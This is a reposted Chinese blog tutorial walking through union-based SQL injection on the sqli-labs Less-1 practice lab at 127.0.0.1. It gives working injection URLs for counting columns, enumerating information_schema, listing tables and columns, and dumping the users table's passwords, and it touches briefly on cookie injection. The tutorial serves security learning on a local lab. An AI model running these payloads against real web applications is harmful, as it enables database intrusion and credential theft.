基础SQL注入

转载

weixin_30767921 于 2018-08-26 01:23:00 发布 61 收藏
文章标签： 数据库
原文链接：http://www.cnblogs.com/lgf01010/p/9536104.html

预备知识
对mysql数据库有一定了解；对基本的sql语句有所了解；
对url编码有了解：空格=‘%20’，单引号=‘%27’，双引号=‘%22’，井号=‘%23’等

基本步骤
1. 判断是什么类型注入，有没有过滤关键字，是否能绕过
2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
3. 获取数据库版本，用户，当前连接的数据库等信息
4. 获取数据库中所有表的信息
5. 获取某个表的列字段信息
5. 获取相应表的数据

Less1，基于错误的GET单引号字符型注入。
（单引号，and 1=1，and 1=2，）
http://127.0.0.1/sqli/Less-1/?id=2%27（宽字节注入）
错误提示：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "2" LIMIT 0,1' at line 1
此时的注入语句为： SELECT * FROM users WHERE id='2" LIMIT 0,1 （报单引号不匹配的错）
注释符常用的有两种:
1. -- ' 一定要注意在最后一个单引号前面有空格
2. # （空格#空格）

第二步确定表的列数：

使用order by 语句。
当试到'4'时，出现报错信息，可以知道该表有3列：
Unknown column '4' in 'order clause'
执行的sql语句是:SELECT * FROM users WHERE id='2' order by 4 -- " LIMIT 0,1

第三步，确定字段的显示位：
显示位：表中数据第几位的字段可以 显示，因为并不是所有的查询结果都 会展示在页面中，因此需要探测页面中展示的查询结果是哪一列的结果; ‘union select 1,2,3 – ’ 通过显示的数字可以判断那些字段可以显示出来。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
可见2,3所在的字段可以显示
ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空，从而便于后面的select语句显示信息

第四步获取当前数据库信息
现在只有两个字段可以显示信息，显然在后面的查询数据中，两个字段是不够用，可以使用group_concat ()函数（可以把查询出来的多行数据连接起来在一个字段中显示）
database()函数：查看当前数据库名称

version()函数：查看数据库版本信息

user():返回当前数据库连接使用的用户

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database()或者version()),3 -- '
Your Login name:security5.5.53
Your Password:3
可以知道当前数据库名为security，数据库版本为5.5.53

第五步，获取全部数据库信息（表，列信息）
Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息，使用该表完成注入
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, group_concat（schema_name）,3 from information_schema.schemata -- ' 爆出所有数据库名字

以上命令可以获取到了所有的数据库信息 information_schema ,security（是例题中的数据库信息）

第六步：获取security数据库中的表信息

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,table_name，3 from information_schema.tables where table_schema='security' -- '（一般情况下要最好将security使用16进制hex编码转换。转换后记得要加0x）
Your Login name: emails , referers , uagents , users
Your Password:3
ps:table_schema= '数据库的名' table_name 表信息

第七步：获取user表的列

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,column_name,3 from information_schema.columns where table_name='users' limit0,1 -- '(users最好转换，l春秋上介绍，这句话的意思是查询information_schema数据库中columns表里的column_name字段（就是表最上面的标题）。条件是table_name为user
Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,column_name, ,3 from information_schema.columns where table_name='users' -- " LIMIT 0,1 这个一般都要加，加上去改变数字会导致不同

第八步：获取数据

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,username,password,3 from users -- '
Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
Your Password:3

Writeup，我要先查到注入类型跟注入点，然后用order by 查询整个大数据库里表的列数，database()显示的是当前页面所使用的数据库名称，shecm这个是mysql5.0版本之后特有的一个数据库，他包含了整个大数据库里所有数据库的表名跟列名。然后用union select 1，2，3…查列显示位置是多少。然后获取当前数据库的名字：union select 1，database（）(写在显示位)，3 — '；得到当前数据库名称后，要找到当前数据库所有表信息，然后对指定想要获取的数据库获取数据库表信息（第六步），然后获取指定表下面的列信息 union select 列 from 表

第二篇：

Information_schema：存储mysql数据库下所有数据库的表名和列名信息的自带数据库
information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值) 字段就是列名
information_schema.tables：存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name：表名 条件为 table_schema：数据库名)
information_schema.columns：存储mysql数据库下所有数据库的列名信息的表 （字段名为column_name：的字段值））

cookie注入：burp里截取到用户COOKIE后，将ID=多少再referer中cookie后面加分号之后填写上去，再写入命令。

转载于:https://www.cnblogs.com/lgf01010/p/9536104.html